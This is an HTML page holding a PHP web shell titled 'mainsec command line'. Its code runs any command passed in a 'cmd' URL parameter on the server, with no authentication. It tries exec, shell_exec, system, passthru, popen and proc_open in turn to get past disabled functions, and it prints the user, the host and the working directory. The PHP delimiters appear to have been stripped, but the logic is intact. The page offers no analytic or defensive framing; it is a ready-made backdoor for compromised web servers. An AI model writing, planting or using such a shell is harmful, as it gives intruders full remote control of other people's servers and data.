<!DOCTYPE html><html lang="en"> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0">mainsec command line <title>mainsec command line</title> <style>@import url('https://fonts.googleapis.com/css2?family=Source+Code+Pro:wght@400;700&display=swap');body { font-family: 'Source Code Pro', monospace; background-color: #000; color: #0f0; margin: 0; padding: 20px; text-align: left;}.container { max-width: 800px; margin: auto; padding: 20px; background-color: #111; border-radius: 5px; box-shadow: 0px 0px 10px rgba(0, 255, 0, 0.5);}h1 { font-size: 18px; color: #0f0; text-shadow: 0 0 5px #0f0;}form { display: flex; gap: 10px;}input[type="text"] { flex: 1; background-color: #000; color: #0f0; border: 1px solid #0f0; padding: 10px; font-size: 16px; outline: none; font-family: 'Source Code Pro', monospace;}input[type="submit"] { background-color: #0f0; color: #000; border: 1px solid #0f0; padding: 10px 15px; cursor: pointer; font-weight: bold; transition: 0.3s;}input[type="submit"]:hover { background-color: #00ff44;}pre { background-color: #000; color: #0f0; padding: 15px; font-size: 14px; border-radius: 5px; box-shadow: inset 0px 0px 5px rgba(0, 255, 0, 0.5); overflow-y: auto; max-height: 400px;} </style> <div class="container">

mainsec command line

session_start(); if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } $user = get_current_user(); $host = gethostname(); echo "<p><strong>$user@$host:</strong> " . $_SESSION['cwd'] . "</p>"; if (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; echo "

Output:

"; echo "<pre>"; // Menggunakan semua fungsi yang tersedia if (function_exists('exec')) { exec($cmd, $output); echo implode("\n", $output); } elseif (function_exists('shell_exec')) { echo shell_exec($cmd); } elseif (function_exists('system')) { system($cmd); } elseif (function_exists('passthru')) { passthru($cmd); } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); echo fread($handle, 2096); pclose($handle); } elseif (function_exists('proc_open')) { $descriptorspec = [ 0 => ["pipe", "r"], // stdin 1 => ["pipe", "w"], // stdout 2 => ["pipe", "w"], // stderr ]; $process = proc_open($cmd, $descriptorspec, $pipes); if (is_resource($process)) { echo stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($process); } } else { echo "No available function to execute commands."; } echo "</pre>"; } </div>